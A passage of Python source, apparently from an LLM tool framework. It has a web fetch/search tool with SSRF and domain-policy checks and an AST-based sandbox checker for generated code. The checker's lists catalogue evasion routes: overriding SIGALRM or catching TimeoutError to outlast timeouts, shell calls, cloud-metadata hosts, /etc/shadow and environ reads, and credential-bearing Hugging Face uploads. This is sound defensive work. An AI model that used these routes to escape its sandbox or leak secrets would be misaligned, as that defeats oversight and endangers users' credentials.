|
cancel_event = None,
|
|
website_policy: dict | None = None,
|
|
) -> str:
|
|
"""Fetch a URL and return readable text content.
|
|
|
|
HTML responses are converted to Markdown with a main-content heuristic
|
|
(``<article>``/``<main>`` scoping, hidden-element and boilerplate
|
|
stripping); non-HTML text responses are returned as-is. GitHub repo root
|
|
pages are rewritten to the README API so the model reads the README
|
|
instead of the repo page's UI chrome. Blocks private/loopback/link-local
|
|
targets (SSRF protection) and caps the download size.
|
|
"""
|
|
# One wall-clock budget for the whole fetch. The README API attempt and its
|
|
# HTML fallback both draw from it, so a slow/failed API call cannot hand the
|
|
# fallback a fresh full timeout and double the worst case.
|
|
deadline = None if timeout is None else time.monotonic() + timeout
|
|
from .web_access_policy import check_url_access
|
|
|
|
# Before the policy gate (needs a scheme) and the README routing (reads host/path).
|
|
url = _normalize_url_scheme(url)
|
|
allowed, reason, _hostname = check_url_access(url, website_policy)
|
|
if not allowed:
|
|
return reason
|
|
policy_kwargs = {"website_policy": website_policy} if website_policy is not None else {}
|
|
readme_api_url = _github_repo_readme_api_url(url)
|
|
if readme_api_url:
|
|
err, body, _ctype = _fetch_url_raw(
|
|
readme_api_url,
|
|
timeout = timeout,
|
|
extra_headers = {
|
|
"Accept": "application/vnd.github.raw+json",
|
|
"X-GitHub-Api-Version": "2022-11-28",
|
|
},
|
|
deadline = deadline,
|
|
cancel_event = cancel_event,
|
|
**policy_kwargs,
|
|
)
|
|
# The README API is unauthenticated and rate-limited; on any failure fall
|
|
# back to the HTML page fetch. A 200 body is authoritative even when it is
|
|
# HTML (a .html README): convert it rather than falling back to the repo
|
|
# page's UI chrome, keeping the raw body if extraction yields nothing.
|
|
if err is None and body.strip():
|
|
readme_body = body
|
|
# The raw file is almost always Markdown. Only a real HTML document (a
|
|
# .html README) is converted; a Markdown README that merely opens with
|
|
# a block tag is kept as-is (see _HTML_DOCUMENT_RE).
|
|
if _looks_like_html_document(body):
|
|
from ._html_to_md import html_to_markdown
|
|
converted = html_to_markdown(body, main_content = True)
|
|
readme_body = converted if converted.strip() else body
|
|
if readme_body.strip():
|
|
return _truncate_page_text(
|
|
f"README of {url} (fetched via the GitHub README API):\n\n" + readme_body,
|
|
max_chars,
|
|
)
|
|
|
|
err, body, content_type = _fetch_url_raw(
|
|
url,
|
|
timeout = timeout,
|
|
deadline = deadline,
|
|
cancel_event = cancel_event,
|
|
**policy_kwargs,
|
|
)
|
|
if err is not None:
|
|
return err
|
|
|
|
# Trust a declared HTML type, and otherwise sniff the body: servers with a
|
|
# missing or wrong Content-Type (e.g. text/plain on an HTML page) still get
|
|
# converted, matching the pre-extraction behavior of always converting.
|
|
is_html = "html" in content_type or _looks_like_html(body)
|
|
if not is_html:
|
|
# Plain text / markdown / JSON (e.g. raw.githubusercontent.com):
|
|
# converting through the HTML renderer would collapse its whitespace.
|
|
return _truncate_page_text(body.strip(), max_chars)
|
|
|
|
# Convert HTML to Markdown with the builtin converter (no external deps).
|
|
from ._html_to_md import html_to_markdown
|
|
|
|
return _truncate_page_text(html_to_markdown(body, main_content = True), max_chars)
|
|
|
|
|
|
def _web_search(
|
|
query: str,
|
|
max_results: int = 5,
|
|
timeout: int = _EXEC_TIMEOUT,
|
|
url: str | None = None,
|
|
cancel_event = None,
|
|
website_policy: dict | None = None,
|
|
) -> str:
|
|
"""Search the web using DuckDuckGo and return formatted results.
|
|
|
|
If ``url`` is provided, fetches that page directly instead of searching.
|
|
"""
|
|
# Direct URL fetch mode.
|
|
if url and url.strip():
|
|
fetch_timeout = 60 if timeout is None else min(timeout, 60)
|
|
return _fetch_page_text(
|
|
url.strip(),
|
|
timeout = fetch_timeout,
|
|
cancel_event = cancel_event,
|
|
website_policy = website_policy,
|
|
)
|
|
|
|
if not query or not query.strip():
|
|
return "No query provided."
|
|
# A disconnect sets cancel_event; DDGS.text() is blocking and cannot be
|
|
# interrupted mid-flight, so gate on either side: skip an already-cancelled
|
|
# request, and discard results that land after the client has gone.
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
return "Search cancelled."
|
|
try:
|
|
from ddgs import DDGS
|
|
|
|
from .web_access_policy import check_url_access, scope_search_query
|
|
|
|
effective_query = scope_search_query(query, website_policy)
|
|
# The policy filters below, so ask for a deeper pool when one actually restricts: a page
|
|
# whose top hits are all disallowed otherwise yields nothing even when valid results rank
|
|
# just under them. Test the domain lists, not the dict: a run always stores a normalized
|
|
# policy, which is truthy even when unrestricted.
|
|
restricted = any(
|
|
(website_policy or {}).get(key) for key in ("allowedDomains", "blockedDomains")
|
|
)
|
|
wanted = max_results * _POLICY_OVERFETCH if restricted else max_results
|
|
results = DDGS(timeout = timeout).text(effective_query, max_results = wanted)
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
return "Search cancelled."
|
|
if not results:
|
|
return "No results found."
|
|
parts = []
|
|
for r in results:
|
|
if len(parts) >= max_results:
|
|
break
|
|
href = str(r.get("href") or "").strip()
|
|
allowed, _reason, _hostname = check_url_access(href, website_policy)
|
|
if not allowed:
|
|
continue
|
|
title = " ".join(str(r.get("title") or "").split())
|
|
snippet = " ".join(str(r.get("body") or "").split())
|
|
parts.append(f"Title: {title}\nURL: {href}\nSnippet: {snippet}")
|
|
if not parts:
|
|
return "No results found within the website access limits."
|
|
text = "\n\n---\n\n".join(parts)
|
|
text += (
|
|
"\n\n---\n\nIMPORTANT: These are only short snippets. "
|
|
"To get the full page content, call web_search with "
|
|
'the url parameter (e.g. {"url": "<URL>"}).'
|
|
)
|
|
return text
|
|
except Exception as e:
|
|
return f"Search failed: {e}"
|
|
|
|
|
|
def _check_signal_escape_patterns(code: str):
|
|
"""Check for patterns that could escape signal-based timeouts. Returns
|
|
(safe: bool, details: dict). Vendored from unsloth_zoo.rl_environments to
|
|
avoid importing unsloth_zoo (needs GPU drivers; fails on Apple Silicon)."""
|
|
try:
|
|
tree = ast.parse(code)
|
|
except SyntaxError as e:
|
|
return False, {
|
|
"error": f"SyntaxError: {e}",
|
|
"signal_tampering": [],
|
|
"exception_catching": [],
|
|
"warnings": [],
|
|
}
|
|
|
|
signal_tampering = []
|
|
exception_catching = []
|
|
shell_escapes = []
|
|
warnings = []
|
|
|
|
def _ast_name_matches(node, names):
|
|
if isinstance(node, ast.Name):
|
|
return node.id in names
|
|
elif isinstance(node, ast.Attribute):
|
|
full_name = []
|
|
current = node
|
|
while isinstance(current, ast.Attribute):
|
|
full_name.append(current.attr)
|
|
current = current.value
|
|
if isinstance(current, ast.Name):
|
|
full_name.append(current.id)
|
|
full_name = ".".join(reversed(full_name))
|
|
return full_name in names
|
|
return False
|
|
|
|
# Dangerous os/subprocess functions that can execute shell commands.
|
|
_SHELL_EXEC_FUNCS = frozenset(
|
|
{
|
|
"os.system",
|
|
"os.popen",
|
|
"os.popen2",
|
|
"os.popen3",
|
|
"os.popen4",
|
|
"os.execl",
|
|
"os.execle",
|
|
"os.execlp",
|
|
"os.execlpe",
|
|
"os.execv",
|
|
"os.execve",
|
|
"os.execvp",
|
|
"os.execvpe",
|
|
"os.spawnl",
|
|
"os.spawnle",
|
|
"os.spawnlp",
|
|
"os.spawnlpe",
|
|
"os.spawnv",
|
|
"os.spawnve",
|
|
"os.spawnvp",
|
|
"os.spawnvpe",
|
|
"os.posix_spawn",
|
|
"os.posix_spawnp",
|
|
"subprocess.run",
|
|
"subprocess.call",
|
|
"subprocess.check_call",
|
|
"subprocess.check_output",
|
|
"subprocess.Popen",
|
|
"subprocess.getoutput",
|
|
"subprocess.getstatusoutput",
|
|
}
|
|
)
|
|
|
|
def _extract_string_from_node(node):
|
|
"""Extract a plain string value from an AST node, if it is a constant."""
|
|
if isinstance(node, ast.Constant) and isinstance(node.value, str):
|
|
return node.value
|
|
return None
|
|
|
|
def _extract_strings_from_list(node):
|
|
"""Extract string elements from an AST List or Tuple node."""
|
|
if isinstance(node, (ast.List, ast.Tuple)):
|
|
parts = []
|
|
for elt in node.elts:
|
|
s = _extract_string_from_node(elt)
|
|
if s is not None:
|
|
parts.append(s)
|
|
return parts
|
|
return []
|
|
|
|
# Kwarg names that carry command content (not control flags like
|
|
# check=True, text=True, capture_output=True).
|
|
_CMD_KWARGS = frozenset({"args", "command", "executable", "path", "file"})
|
|
|
|
def _check_args_for_blocked(args_nodes):
|
|
"""Check if any call arguments contain blocked commands."""
|
|
found = set()
|
|
for arg in args_nodes:
|
|
s = _extract_string_from_node(arg)
|
|
if s is not None:
|
|
found |= _find_blocked_commands(s)
|
|
strs = _extract_strings_from_list(arg)
|
|
for s in strs:
|
|
found |= _find_blocked_commands(s)
|
|
return found
|
|
|
|
class SignalEscapeVisitor(ast.NodeVisitor):
|
|
def __init__(self):
|
|
self.imports_signal = False
|
|
self.signal_aliases = {"signal"}
|
|
self.os_aliases = {"os"}
|
|
self.subprocess_aliases = {"subprocess"}
|
|
# Bare name -> fully-qualified form for from-import tracking
|
|
# (e.g. "system" -> "os.system").
|
|
self.shell_exec_aliases: dict[str, str] = {}
|
|
self.loop_depth = 0
|
|
|
|
def visit_Import(self, node):
|
|
for alias in node.names:
|
|
if alias.name == "signal":
|
|
self.imports_signal = True
|
|
if alias.asname:
|
|
self.signal_aliases.add(alias.asname)
|
|
elif alias.name == "os":
|
|
self.os_aliases.add(alias.asname or "os")
|
|
elif alias.name == "subprocess":
|
|
self.subprocess_aliases.add(alias.asname or "subprocess")
|
|
self.generic_visit(node)
|
|
|
|
def visit_ImportFrom(self, node):
|
|
if node.module == "signal":
|
|
self.imports_signal = True
|
|
for alias in node.names:
|
|
if alias.name in (
|
|
"signal",
|
|
"SIGALRM",
|
|
"SIG_IGN",
|
|
"setitimer",
|
|
"ITIMER_REAL",
|
|
"pthread_sigmask",
|
|
"SIG_BLOCK",
|
|
"alarm",
|
|
):
|
|
self.signal_aliases.add(alias.asname or alias.name)
|
|
elif node.module in ("os", "subprocess"):
|
|
if node.module == "os":
|
|
self.os_aliases.add("os")
|
|
else:
|
|
self.subprocess_aliases.add("subprocess")
|
|
# Track from-imports of dangerous functions.
|
|
for alias in node.names:
|
|
fq = f"{node.module}.{alias.name}"
|
|
if fq in _SHELL_EXEC_FUNCS:
|
|
self.shell_exec_aliases[alias.asname or alias.name] = fq
|
|
self.generic_visit(node)
|
|
|
|
def visit_While(self, node):
|
|
self.loop_depth += 1
|
|
self.generic_visit(node)
|
|
self.loop_depth -= 1
|
|
|
|
def visit_For(self, node):
|
|
self.loop_depth += 1
|
|
self.generic_visit(node)
|
|
self.loop_depth -= 1
|
|
|
|
def visit_Call(self, node):
|
|
func = node.func
|
|
func_name = None
|
|
if isinstance(func, ast.Attribute):
|
|
if isinstance(func.value, ast.Name):
|
|
if func.value.id in self.signal_aliases:
|
|
func_name = f"signal.{func.attr}"
|
|
elif isinstance(func, ast.Name):
|
|
if func.id in ("signal", "setitimer", "alarm", "pthread_sigmask"):
|
|
func_name = func.id
|
|
|
|
if func_name:
|
|
if func_name in ("signal.signal", "signal"):
|
|
if len(node.args) >= 1:
|
|
if _ast_name_matches(node.args[0], ("SIGALRM", "signal.SIGALRM")):
|
|
signal_tampering.append(
|
|
{
|
|
"type": "signal_handler_override",
|
|
"line": node.lineno,
|
|
"description": "Overrides SIGALRM handler",
|
|
}
|
|
)
|
|
elif func_name in ("signal.setitimer", "setitimer"):
|
|
if len(node.args) >= 1:
|
|
if _ast_name_matches(node.args[0], ("ITIMER_REAL", "signal.ITIMER_REAL")):
|
|
signal_tampering.append(
|
|
{
|
|
"type": "timer_manipulation",
|
|
"line": node.lineno,
|
|
"description": "Manipulates ITIMER_REAL timer",
|
|
}
|
|
)
|
|
elif func_name in ("signal.alarm", "alarm"):
|
|
signal_tampering.append(
|
|
{
|
|
"type": "alarm_manipulation",
|
|
"line": node.lineno,
|
|
"description": "Manipulates alarm timer",
|
|
}
|
|
)
|
|
elif func_name in ("signal.pthread_sigmask", "pthread_sigmask"):
|
|
signal_tampering.append(
|
|
{
|
|
"type": "signal_mask",
|
|
"line": node.lineno,
|
|
"description": "Modifies signal mask (may block SIGALRM)",
|
|
}
|
|
)
|
|
|
|
# --- Shell escape detection ---
|
|
# Resolve the FQ function name for os.*/subprocess.*
|
|
shell_func = None
|
|
if isinstance(func, ast.Attribute):
|
|
if isinstance(func.value, ast.Name):
|
|
if func.value.id in self.os_aliases:
|
|
shell_func = f"os.{func.attr}"
|
|
elif func.value.id in self.subprocess_aliases:
|
|
shell_func = f"subprocess.{func.attr}"
|
|
elif isinstance(func, ast.Name):
|
|
# from-import aliases: from os import system; system(...)
|
|
shell_func = self.shell_exec_aliases.get(func.id)
|
|
|
|
if shell_func and shell_func in _SHELL_EXEC_FUNCS:
|
|
# Expand **kwargs dicts to inspect their keys.
|
|
expanded_kwargs: dict[str, ast.AST] = {}
|
|
has_opaque_kwargs = False
|
|
for kw in node.keywords:
|
|
if kw.arg is not None:
|
|
expanded_kwargs[kw.arg] = kw.value
|
|
elif isinstance(kw.value, ast.Dict):
|
|
for k, v in zip(kw.value.keys, kw.value.values):
|
|
key = _extract_string_from_node(k) if k else None
|
|
if key is not None:
|
|
expanded_kwargs[key] = v
|
|
else:
|
|
has_opaque_kwargs = True
|
|
|
|
cmd_kw_values = [v for k, v in expanded_kwargs.items() if k in _CMD_KWARGS]
|
|
all_call_args = list(node.args) + cmd_kw_values
|
|
blocked_in_args = _check_args_for_blocked(all_call_args)
|
|
|
|
if has_opaque_kwargs:
|
|
# Can't inspect dynamic **kwargs; flag as unsafe.
|
|
shell_escapes.append(
|
|
{
|
|
"type": "shell_escape_dynamic",
|
|
"line": node.lineno,
|
|
"description": (f"{shell_func}() called with dynamic **kwargs"),
|
|
}
|
|
)
|
|
elif blocked_in_args:
|
|
shell_escapes.append(
|
|
{
|
|
"type": "shell_escape",
|
|
"line": node.lineno,
|
|
"description": (
|
|
f"{shell_func}() invokes blocked command(s): "
|
|
f"{', '.join(sorted(blocked_in_args))}"
|
|
),
|
|
}
|
|
)
|
|
else:
|
|
# Only flag dynamic args for funcs that interpret strings as
|
|
# shell commands, or when shell= might be on. Any non-literal-
|
|
# False shell= is treated as potentially True (conservative).
|
|
_STRING_SHELL_FUNCS = frozenset(
|
|
{
|
|
"os.system",
|
|
"os.popen",
|
|
"os.popen2",
|
|
"os.popen3",
|
|
"os.popen4",
|
|
"subprocess.getoutput",
|
|
"subprocess.getstatusoutput",
|
|
}
|
|
)
|
|
shell_node = expanded_kwargs.get("shell")
|
|
shell_safe = shell_node is None or (
|
|
isinstance(shell_node, ast.Constant) and shell_node.value is False
|
|
)
|
|
# Dynamic shell-exec args (chr/format/concat bypasses).
|
|
if (
|
|
shell_func in _STRING_SHELL_FUNCS
|
|
or shell_func in _SHELL_EXEC_FUNCS
|
|
or not shell_safe
|
|
):
|
|
|
|
def _is_safe_literal(n):
|
|
if _extract_string_from_node(n) is not None:
|
|
return True
|
|
if isinstance(n, (ast.List, ast.Tuple)):
|
|
return all(_extract_string_from_node(e) is not None for e in n.elts)
|
|
return False
|
|
|
|
has_non_literal = any(not _is_safe_literal(a) for a in all_call_args)
|
|
if has_non_literal:
|
|
shell_escapes.append(
|
|
{
|
|
"type": "shell_escape_dynamic",
|
|
"line": node.lineno,
|
|
"description": (
|
|
f"{shell_func}() called with non-literal "
|
|
f"shell command (potential shell escape)"
|
|
),
|
|
}
|
|
)
|
|
|
|
self.generic_visit(node)
|
|
|
|
def visit_ExceptHandler(self, node):
|
|
if self.loop_depth == 0:
|
|
self.generic_visit(node)
|
|
return
|
|
if node.type is None:
|
|
exception_catching.append(
|
|
{
|
|
"type": "bare_except_in_loop",
|
|
"line": node.lineno,
|
|
"description": "Bare except in loop catches TimeoutError and continues looping",
|
|
}
|
|
)
|
|
elif isinstance(node.type, ast.Name):
|
|
# Flag BaseException/TimeoutError but NOT Exception: `except
|
|
# Exception` can't catch SystemExit/KeyboardInterrupt, so it
|
|
# can't suppress timeout enforcement.
|
|
if node.type.id in ("TimeoutError", "BaseException"):
|
|
exception_catching.append(
|
|
{
|
|
"type": f"catches_{node.type.id}_in_loop",
|
|
"line": node.lineno,
|
|
"description": f"Catches {node.type.id} in loop - may suppress timeout and continue",
|
|
}
|
|
)
|
|
elif isinstance(node.type, ast.Tuple):
|
|
for elt in node.type.elts:
|
|
if isinstance(elt, ast.Name):
|
|
if elt.id in ("TimeoutError", "BaseException"):
|
|
exception_catching.append(
|
|
{
|
|
"type": f"catches_{elt.id}_in_loop",
|
|
"line": node.lineno,
|
|
"description": f"Catches {elt.id} in loop - may suppress timeout and continue",
|
|
}
|
|
)
|
|
self.generic_visit(node)
|
|
|
|
visitor = SignalEscapeVisitor()
|
|
visitor.visit(tree)
|
|
|
|
if visitor.imports_signal and not signal_tampering:
|
|
warnings.append("Code imports 'signal' module - review manually for safety")
|
|
|
|
# Static host policy: block metadata hosts and any literal host outside the
|
|
# trusted allowlist; uploads blocked regardless of host. Dynamic hosts are
|
|
# caught by the bash blocklist.
|
|
network_calls: list[dict] = []
|
|
sensitive_file_reads: list[dict] = []
|
|
_NETWORK_FQ_PREFIXES = (
|
|
"socket.socket",
|
|
"socket.create_connection",
|
|
"socket.getaddrinfo",
|
|
"urllib.request.urlopen",
|
|
"urllib.request.urlretrieve",
|
|
"urllib3.",
|
|
"requests.get",
|
|
"requests.post",
|
|
"requests.put",
|
|
"requests.delete",
|
|
"requests.patch",
|
|
"requests.head",
|
|
"requests.request",
|
|
"requests.Session",
|
|
"http.client.HTTPConnection",
|
|
"http.client.HTTPSConnection",
|
|
"httpx.get",
|
|
"httpx.post",
|
|
"httpx.put",
|
|
"httpx.patch",
|
|
"httpx.delete",
|
|
"httpx.request",
|
|
"httpx.Client",
|
|
"httpx.AsyncClient",
|
|
"aiohttp.ClientSession",
|
|
)
|
|
_UPLOAD_HTTP_METHODS = (
|
|
"requests.post",
|
|
"requests.put",
|
|
"requests.patch",
|
|
"requests.delete",
|
|
"requests.request",
|
|
"httpx.post",
|
|
"httpx.put",
|
|
"httpx.patch",
|
|
"httpx.delete",
|
|
"httpx.request",
|
|
"urllib.request.urlopen",
|
|
"urllib.request.Request",
|
|
)
|
|
_UPLOAD_HF_FQ = (
|
|
"huggingface_hub.upload_file",
|
|
"huggingface_hub.upload_folder",
|
|
"huggingface_hub.upload_large_folder",
|
|
"huggingface_hub.create_commit",
|
|
)
|
|
_UPLOAD_HF_METHODS = frozenset(
|
|
{
|
|
"upload_file",
|
|
"upload_folder",
|
|
"upload_large_folder",
|
|
"create_commit",
|
|
}
|
|
)
|
|
# Cloud-metadata / link-local hosts.
|
|
_METADATA_HOST_LITERALS = {
|
|
"169.254.169.254",
|
|
"fd00:ec2::254",
|
|
"metadata.google.internal",
|
|
"metadata",
|
|
"metadata.tencentyun.com",
|
|
"100.100.100.200",
|
|
"100.100.100.110",
|
|
"169.254.170.2",
|
|
"169.254.170.23",
|
|
}
|
|
_METADATA_HOST_PREFIXES = (
|
|
"169.254.",
|
|
"100.64.",
|
|
)
|
|
# Allowlist kept explicit so each entry is auditable.
|
|
_TRUSTED_PUBLIC_HOST_LITERALS = frozenset(
|
|
{
|
|
# search
|
|
"www.google.com",
|
|
"google.com",
|
|
"www.bing.com",
|
|
"bing.com",
|
|
"duckduckgo.com",
|
|
"html.duckduckgo.com",
|
|
# encyclopedic / reference
|
|
"wikipedia.org",
|
|
"www.wikipedia.org",
|
|
"wikimedia.org",
|
|
"www.wikimedia.org",
|
|
"wikidata.org",
|
|
"www.wikidata.org",
|
|
"commons.wikimedia.org",
|
|
"www.britannica.com",
|
|
"openlibrary.org",
|
|
"www.openstreetmap.org",
|
|
# ML / dev / data
|
|
"huggingface.co",
|
|
"hf.co",
|
|
"github.com",
|
|
"api.github.com",
|
|
"raw.githubusercontent.com",
|
|
"gist.github.com",
|
|
"docs.github.com",
|
|
"pypi.org",
|
|
"files.pythonhosted.org",
|
|
"www.npmjs.com",
|
|
"registry.npmjs.org",
|
|
"crates.io",
|
|
"static.crates.io",
|
|
# docs
|
|
"docs.python.org",
|
|
"python.org",
|
|
"www.python.org",
|
|
"developer.mozilla.org",
|
|
"developer.apple.com",
|
|
"learn.microsoft.com",
|
|
"docs.docker.com",
|
|
"pytorch.org",
|
|
"docs.pytorch.org",
|
|
"tensorflow.org",
|
|
"www.tensorflow.org",
|
|
"numpy.org",
|
|
"pandas.pydata.org",
|
|
"scipy.org",
|
|
"scikit-learn.org",
|
|
"matplotlib.org",
|
|
"fastapi.tiangolo.com",
|
|
"starlette.io",
|
|
# academic
|
|
"arxiv.org",
|
|
"export.arxiv.org",
|
|
"scholar.google.com",
|
|
"openreview.net",
|
|
"semanticscholar.org",
|
|
"www.semanticscholar.org",
|
|
"biorxiv.org",
|
|
"www.biorxiv.org",
|
|
"medrxiv.org",
|
|
"www.medrxiv.org",
|
|
"pubmed.ncbi.nlm.nih.gov",
|
|
"www.ncbi.nlm.nih.gov",
|
|
# Q&A / community
|
|
"stackoverflow.com",
|
|
"stackexchange.com",
|
|
"askubuntu.com",
|
|
"superuser.com",
|
|
"serverfault.com",
|
|
# standards
|
|
"www.w3.org",
|
|
"tools.ietf.org",
|
|
"datatracker.ietf.org",
|
|
"www.rfc-editor.org",
|
|
# reputable news
|
|
"www.bbc.com",
|
|
"www.bbc.co.uk",
|
|
"www.reuters.com",
|
|
"apnews.com",
|
|
"www.nature.com",
|
|
"www.science.org",
|
|
# government / open data
|
|
"data.gov",
|
|
"catalog.data.gov",
|
|
"www.census.gov",
|
|
"www.nasa.gov",
|
|
"data.nasa.gov",
|
|
"www.cdc.gov",
|
|
"www.nih.gov",
|
|
"www.who.int",
|
|
# weather / time
|
|
"api.weather.gov",
|
|
"worldtimeapi.org",
|
|
}
|
|
)
|
|
_TRUSTED_PUBLIC_HOST_SUFFIXES = (
|
|
".wikipedia.org",
|
|
".wikimedia.org",
|
|
".wiktionary.org",
|
|
".wikibooks.org",
|
|
".wikiquote.org",
|
|
".wikisource.org",
|
|
".wikiversity.org",
|
|
".wikivoyage.org",
|
|
".stackexchange.com",
|
|
".hf.co",
|
|
".huggingface.co",
|
|
".githubusercontent.com",
|
|
".github.io",
|
|
".arxiv.org",
|
|
".readthedocs.io",
|
|
".readthedocs.org",
|
|
)
|
|
_SENSITIVE_FILE_PREFIXES = (
|
|
"/etc/passwd",
|
|
"/etc/shadow",
|
|
"/etc/sudoers",
|
|
"/etc/ssh/",
|
|
)
|
|
_SENSITIVE_FILE_RE = re.compile(r"^/proc/(?:self|\d+)/(?:environ|cmdline|task/\d+/environ)$")
|
|
|
|
def _normalize_host(host: str) -> str:
|
|
if not host:
|
|
return ""
|
|
h = host.strip().lower().rstrip(".")
|
|
if "@" in h:
|
|
h = h.split("@", 1)[1]
|
|
if h.startswith("[") and "]" in h:
|
|
h = h[1 : h.index("]")]
|
|
elif h.count(":") == 1:
|
|
h = h.split(":", 1)[0]
|
|
return h
|
|
|
|
def _is_metadata_host(host: str) -> bool:
|
|
h = _normalize_host(host)
|
|
if not h:
|
|
return False
|
|
if h in _METADATA_HOST_LITERALS:
|
|
return True
|
|
if any(h.startswith(p) for p in _METADATA_HOST_PREFIXES):
|
|
return True
|
|
return False
|
|
|
|
def _is_trusted_host(host: str) -> bool:
|
|
h = _normalize_host(host)
|
|
if not h:
|
|
return False
|
|
if h in _TRUSTED_PUBLIC_HOST_LITERALS:
|
|
return True
|
|
return any(h.endswith(s) for s in _TRUSTED_PUBLIC_HOST_SUFFIXES)
|
|
|
|
def _call_is_upload_shape(node: ast.Call, fq: str) -> bool:
|
|
"""True for statically obvious upload shapes (files=, data=open(), bytes literal)."""
|
|
if fq in _UPLOAD_HF_FQ:
|
|
return True
|
|
if fq not in _UPLOAD_HTTP_METHODS:
|
|
return False
|
|
for kw in node.keywords or []:
|
|
if kw.arg == "files":
|
|
return True
|
|
if kw.arg == "data":
|
|
v = kw.value
|
|
if isinstance(v, ast.Call) and isinstance(v.func, ast.Name) and v.func.id == "open":
|
|
return True
|
|
if isinstance(v, ast.Constant) and isinstance(v.value, (bytes, bytearray)):
|
|
return True
|
|
return False
|
|
|
|
# Bare method-name fallback (`x.upload_file(...)`) is fuzzy, so it fires only
|
|
# when huggingface_hub/hf_api is imported; else paramiko.upload_file,
|
|
# boto3.create_commit, etc. would false-positive. Pre-scan for the imports.
|
|
_HF_IMPORT_MODULES = (
|
|
"huggingface_hub",
|
|
"hf_api",
|
|
"huggingface_hub.hf_api",
|
|
)
|
|
|
|
def _module_has_hf_import(tree: ast.AST) -> bool:
|
|
for n in ast.walk(tree):
|
|
if isinstance(n, ast.Import):
|
|
for alias in n.names:
|
|
if alias.name.split(".", 1)[0] in _HF_IMPORT_MODULES:
|
|
return True
|
|
elif isinstance(n, ast.ImportFrom):
|
|
root = (n.module or "").split(".", 1)[0]
|
|
if root in _HF_IMPORT_MODULES:
|
|
return True
|
|
elif isinstance(n, ast.Call) and n.args:
|
|
# __import__('huggingface_hub'), importlib.import_module(...),
|
|
# and bare import_module(...) (via `from importlib import ...`).
|
|
arg0 = n.args[0]
|
|
if not (isinstance(arg0, ast.Constant) and isinstance(arg0.value, str)):
|
|
continue
|
|
if arg0.value.split(".", 1)[0] not in _HF_IMPORT_MODULES:
|
|
continue
|
|
func = n.func
|
|
if isinstance(func, ast.Name) and func.id in {
|
|
"__import__",
|
|
"import_module",
|
|
}:
|
|
return True
|
|
if isinstance(func, ast.Attribute) and func.attr == "import_module":
|
|
return True
|
|
return False
|
|
|
|
_hf_in_scope = _module_has_hf_import(tree)
|
|
|
|
def _method_call_hf_upload_name(node: ast.Call) -> str | None:
|
|
"""Return the HF upload method name (`upload_file`, ...) or None. Covers
|
|
the Attribute and bare-Name forms; the bare-name branch fires only when
|
|
an HF import is in scope so paramiko/boto3 don't false-positive."""
|
|
if not _hf_in_scope:
|
|
return None
|
|
f = node.func
|
|
if isinstance(f, ast.Attribute) and f.attr in _UPLOAD_HF_METHODS:
|
|
return f.attr
|
|
if isinstance(f, ast.Name) and f.id in _UPLOAD_HF_METHODS:
|
|
return f.id
|
|
return None
|
|
|
|
# Kwargs that ship a credential over the wire. The sandbox env strips
|
|
# credentials up front, so any value here is hard-coded or lifted from parent.
|
|
_HF_SENSITIVE_KWARGS = frozenset(
|
|
{
|
|
"token",
|
|
"hf_token",
|
|
"api_token",
|
|
"api_key",
|
|
"auth_token",
|
|
"access_token",
|
|
"password",
|
|
"secret",
|
|
}
|
|
)
|
|
|
|
def _is_os_environ(node: ast.AST) -> bool:
|
|
return (
|
|
isinstance(node, ast.Attribute)
|
|
and node.attr == "environ"
|
|
and isinstance(node.value, ast.Name)
|
|
and node.value.id == "os"
|
|
)
|
|
|
|
def _reads_env_or_secret(node: ast.AST | None) -> bool:
|
|
"""True if any node in the subtree resolves to an env/process read.
|
|
|
|
Walks the whole subtree (not just the root) to catch wrappers like
|
|
`str(os.environ)`. Covers os.environ[/.get]/os.getenv, bare getenv, and
|
|
subprocess.{run,check_output,...} that could lift parent env via printenv.
|
|
"""
|
|
if node is None:
|
|
return False
|
|
for sub in ast.walk(node):
|
|
if _is_os_environ(sub):
|
|
return True
|
|
if isinstance(sub, ast.Call):
|
|
f = sub.func
|
|
if isinstance(f, ast.Attribute):
|
|
if (
|
|
f.attr in {"getenv", "getenvb"}
|
|
and isinstance(f.value, ast.Name)
|
|
and f.value.id == "os"
|
|
):
|
|
return True
|
|
if (
|
|
f.attr
|
|
in {
|
|
"check_output",
|
|
"run",
|
|
"Popen",
|
|
"getoutput",
|
|
"getstatusoutput",
|
|
}
|
|
and isinstance(f.value, ast.Name)
|
|
and f.value.id in {"subprocess", "commands"}
|
|
):
|
|
return True
|
|
if isinstance(f, ast.Name) and f.id in {"getenv", "getenvb"}:
|
|
return True
|
|
return False
|
|
|
|
def _is_safe_relative_path(path: str) -> bool:
|
|
"""Relative path with no leading `/`, `~`, drive letter, or `..` segments."""
|
|
if not isinstance(path, str) or not path:
|
|
return False
|
|
if path[0] in ("/", "\\", "~"):
|
|
return False
|
|
if len(path) >= 2 and path[1] == ":":
|
|
return False
|
|
return ".." not in path.replace("\\", "/").split("/")
|
|
|
|
def _path_arg_is_sandbox_local(node: ast.AST | None) -> bool:
|
|
"""Whether the path argument resolves to a sandbox-local literal."""
|
|
if node is None:
|
|
return False
|
|
if isinstance(node, ast.Constant) and isinstance(node.value, (bytes, bytearray)):
|
|
return True # inline bytes, no file access
|
|
if isinstance(node, ast.Constant) and isinstance(node.value, str):
|
|
return _is_safe_relative_path(node.value)
|
|
if isinstance(node, ast.Call):
|
|
f = node.func
|
|
is_open = (isinstance(f, ast.Name) and f.id == "open") or (
|
|
isinstance(f, ast.Attribute) and f.attr == "open"
|
|
)
|
|
if is_open and node.args:
|
|
a0 = node.args[0]
|
|
return (
|
|
isinstance(a0, ast.Constant)
|
|
and isinstance(a0.value, str)
|
|
and _is_safe_relative_path(a0.value)
|
|
)
|
|
return False
|
|
|
|
def _hf_upload_violation(node: ast.Call, method_name: str) -> str | None:
|
|
"""Inspect an HF upload call; return a violation reason or None.
|
|
|
|
Policy: HF uploads are allowed only when (a) no sensitive kwarg is set,
|
|
(b) no positional / keyword value reads `os.environ` or related env
|
|
readers, and (c) the path arg is a sandbox-local literal: a relative
|
|
string with no `..`, an `open(<literal>)`, or inline bytes. Dynamic /
|
|
variable paths are rejected since safety can't be proven statically and
|
|
a wrong-allow means credential exfiltration.
|
|
"""
|
|
for kw in node.keywords or []:
|
|
if kw.arg in _HF_SENSITIVE_KWARGS:
|
|
return (
|
|
f"HF upload {kw.arg}= cannot be set from sandboxed code; "
|
|
"uploads run with the sandbox identity only"
|
|
)
|
|
all_values = list(node.args or []) + [kw.value for kw in (node.keywords or [])]
|
|
for v in all_values:
|
|
if _reads_env_or_secret(v):
|
|
